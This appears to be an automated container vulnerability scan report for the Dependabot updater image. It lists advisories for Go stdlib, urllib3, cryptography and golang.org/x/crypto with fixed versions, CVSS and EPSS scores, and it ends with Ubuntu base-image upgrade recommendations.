net/http. This could permit query parameter smuggling when a Go proxy forwards a parameter with an unparsable value. After fix, ReverseProxy sanitizes the query parameters in the forwarded query when the outbound request's Form field is set after the ReverseProxy. Director function returns, indicating that the proxy has parsed the query parameters. Proxies which do not parse query parameters continue to forward the original query parameters unchanged. Affected range <1.18.7 Fixed version 1.18.7 EPSS Score 0.016% EPSS Percentile 3rd percentile Description Reader.Read does not set a limit on the maximum size of file headers. A maliciously crafted archive could cause Read to allocate unbounded amounts of memory, potentially causing resource exhaustion or panics. After fix, Reader.Read limits the maximum size of header blocks to 1 MiB. Affected range >=1.18.0-0 <1.18.4 Fixed version 1.18.4 EPSS Score 0.014% EPSS Percentile 2nd percentile Description Calling Decoder.Skip when parsing a deeply nested XML document can cause a panic due to stack exhaustion. Affected range <1.18.6 Fixed version 1.18.6 EPSS Score 0.093% EPSS Percentile 26th percentile Description HTTP/2 server connections can hang forever waiting for a clean shutdown that was preempted by a fatal error. This condition can be exploited by a malicious client to cause a denial of service. Affected range <1.19.9 Fixed version 1.19.9 EPSS Score 0.048% EPSS Percentile 15th percentile Description Templates containing actions in unquoted HTML attributes (e.g. "attr={{.}}") executed with empty input can result in output with unexpected results when parsed due to HTML normalization rules. This may allow injection of arbitrary attributes into tags. Affected range <1.19.9 Fixed version 1.19.9 EPSS Score 0.065% EPSS Percentile 20th percentile Description Angle brackets (<>) are not considered dangerous characters when inserted into CSS contexts. Templates containing multiple actions separated by a '/' character can result in unexpectedly closing the CSS context and allowing for injection of unexpected HTML, if executed with untrusted input.

stdlib 1.24.4 (golang) pkg:golang/stdlib@1.24.4 Affected range <1.24.11 Fixed version 1.24.11 EPSS Score 0.017% EPSS Percentile 3rd percentile Description Within HostnameError.Error(), when constructing an error string, there is no limit to the number of hosts that will be printed out. Furthermore, the error string is constructed by repeated string concatenation, leading to quadratic runtime. Therefore, a certificate provided by a malicious actor can result in excessive resource consumption. Affected range <1.24.8 Fixed version 1.24.8 EPSS Score 0.031% EPSS Percentile 8th percentile Description The ParseAddress function constructs domain-literal address components through repeated string concatenation. When parsing large domain-literal components, this can cause excessive CPU consumption. Affected range <1.24.8 Fixed version 1.24.8 EPSS Score 0.031% EPSS Percentile 8th percentile Description The processing time for parsing some invalid inputs scales non-linearly with respect to the size of the input. This affects programs which parse untrusted PEM inputs. Affected range <1.24.8 Fixed version 1.24.8 EPSS Score 0.016% EPSS Percentile 3rd percentile Description Validating certificate chains which contain DSA public keys can cause programs to panic, due to a interface cast that assumes they implement the Equal method. This affects programs which validate arbitrary certificate chains. Affected range <1.24.9 Fixed version 1.24.9 EPSS Score 0.016% EPSS Percentile 3rd percentile Description Due to the design of the name constraint checking algorithm, the processing time of some inputs scale non-linearly with respect to the size of the certificate. This affects programs which validate arbitrary certificate chains.

urllib3 2.0.7 (pypi) pkg:pypi/urllib3@2.0.7 Improper Handling of Highly Compressed Data (Data Amplification) Affected range >=1.22 <2.6.3 Fixed version 2.6.3 CVSS Score 8.9 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H EPSS Score 0.018% EPSS Percentile 4th percentile Description Impact urllib3's streaming API is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once. urllib3 can perform decoding or decompression based on the HTTP Content-Encoding header (e.g., gzip, deflate, br, or zstd). When using the streaming API, the library decompresses only the necessary bytes, enabling partial content consumption. However, for HTTP redirect responses, the library would read the entire response body to drain the connection and decompress the content unnecessarily. This decompression occurred even before any read methods were called, and configured read limits did not restrict the amount of decompressed data. As a result, there was no safeguard against decompression bombs. A malicious server could exploit this to trigger excessive resource consumption on the client (high CPU usage and large memory allocations for decompressed data; CWE-409). Affected usages Applications and libraries using urllib3 version 2.6.2 and earlier to stream content from untrusted sources by setting preload_content=False when they do not disable redirects. Remediation Upgrade to at least urllib3 v2.6.3 in which the library does not decode content of redirect responses when preload_content=False. If upgrading is not immediately possible, disable redirects by setting redirect=False for requests to untrusted source. Improper Handling of Highly Compressed Data (Data Amplification) Affected range >=1.0 <2.6.0 Fixed version 2.6.0 CVSS Score 8.9 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H EPSS Score 0.026% EPSS Percentile 6th percentile Description Impact urllib3's streaming API is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once. When streaming a compressed response, urllib3 can perform decoding or decompression based on the HTTP Content-Encoding header (e.g., gzip, deflate, br, or zstd). The library must read compressed data from the network and decompress it until the requested chunk size is met. Any resulting decompressed data that exceeds the requested amount is held in an internal buffer for the next read operation. The decompression logic could cause urllib3 to fully decode a small amount of highly compressed data in a single operation. This can result in excessive resource consumption (high CPU usage and massive memory allocation for the decompressed data; CWE-409) on the client side, even if the application only requested a small chunk of data. Affected usages Applications and libraries using urllib3 version 2.5.0 and earlier to stream large compressed responses or content from untrusted sources. stream(), read(amt=256), read1(amt=256), read_chunked(amt=256), readinto(b) are examples of urllib3.HTTPResponse method calls using the affected logic unless decoding is disabled explicitly. Remediation Upgrade to at least urllib3 v2.6.0 in which the library avoids decompressing data that exceeds the requested amount. If your environment contains a package facilitating the Brotli encoding, upgrade to at least Brotli 1.2.0 or brotlicffi 1.2.0.0 too. These versions are enforced by the urllib3[brotli] extra in the patched versions of urllib3. Credits The issue was reported by @Cycloctane. Supplemental information was provided by @stamparm during a security audit performed by 7ASecurity and facilitated by OSTIF. Allocation of Resources Without Limits or Throttling Affected range >=1.24 <2.6.0 Fixed version 2.6.0 CVSS Score 8.9 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H EPSS Score 0.033% EPSS Percentile 9th percentile Description Impact urllib3 supports chained HTTP encoding algorithms for response content according to RFC 9110 (e.g., Content-Encoding: gzip, zstd). However, the number of links in the decompression chain was unbounded allowing a malicious server to insert a virtually unlimited number of compression steps leading to high CPU usage and massive memory allocation for the decompressed data. Affected usages Applications and libraries using urllib3 version 2.5.0 and earlier for HTTP requests to untrusted sources unless they disable content decoding explicitly. Remediation Upgrade to at least urllib3 v2.6.0 in which the library limits the number of links to 5. If upgrading is not immediately possible, use preload_content=False and ensure that resp.headers["content-encoding"] contains a safe number of encodings before reading the response content.

cryptography 41.0.7 (pypi) pkg:pypi/cryptography@41.0.7 Observable Discrepancy Affected range <42.0.0 Fixed version 42.0.0 CVSS Score 8.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N EPSS Score 0.707% EPSS Percentile 72nd percentile Description A flaw was found in the python-cryptography package. This issue may allow a remote attacker to decrypt captured messages in TLS servers that use RSA key exchanges, which may lead to exposure of confidential or sensitive data. NULL Pointer Dereference Affected range >=38.0.0 <42.0.4 Fixed version 42.0.4 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.341% EPSS Percentile 56th percentile Description If pkcs12.serialize_key_and_certificates is called with both: A certificate whose public key did not match the provided private key An encryption_algorithm with hmac_hash set (via PrivateFormat.PKCS12.encryption_builder().hmac_hash(...) Then a NULL pointer dereference would occur, crashing the Python process. This has been resolved, and now a ValueError is properly raised. Patched in pyca/cryptography#10423

golang.org/x/crypto 0.36.0 (golang) pkg:golang/golang.org/x/crypto@0.36.0 Affected range <0.43.0 Fixed version 0.43.0 EPSS Score 0.033% EPSS Percentile 9th percentile Description SSH clients receiving SSH_AGENT_SUCCESS when expecting a typed response will panic and cause early termination of the client process.

[github-actions]

Recommended fixes for image ghcr.io/dependabot/dependabot-updater-core:latest

Base image is ubuntu:24.04

Name	24.04
Digest	sha256:a4453623f2f8319cfff65c43da9be80fe83b1a7ce689579b475867d69495b782
Vulnerabilities
Pushed	1 week ago
Size	30 MB
Packages	131
OS	24.04

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Tag	Details	Pushed	Vulnerabilities
26.04 Major OS version update Also known as: devel resolute resolute-20260106.1	Benefits: Image contains 9 fewer packages Image has similar size Image introduces no new vulnerability but removes 8 Major OS version update Image details: Size: 34 MB OS: 26.04	2 weeks ago
25.10 Major OS version update Also known as: rolling questing questing-20251217	Benefits: Image contains 7 fewer packages Image has similar size Image introduces no new vulnerability but removes 8 Major OS version update Image details: Size: 34 MB OS: 25.10	1 month ago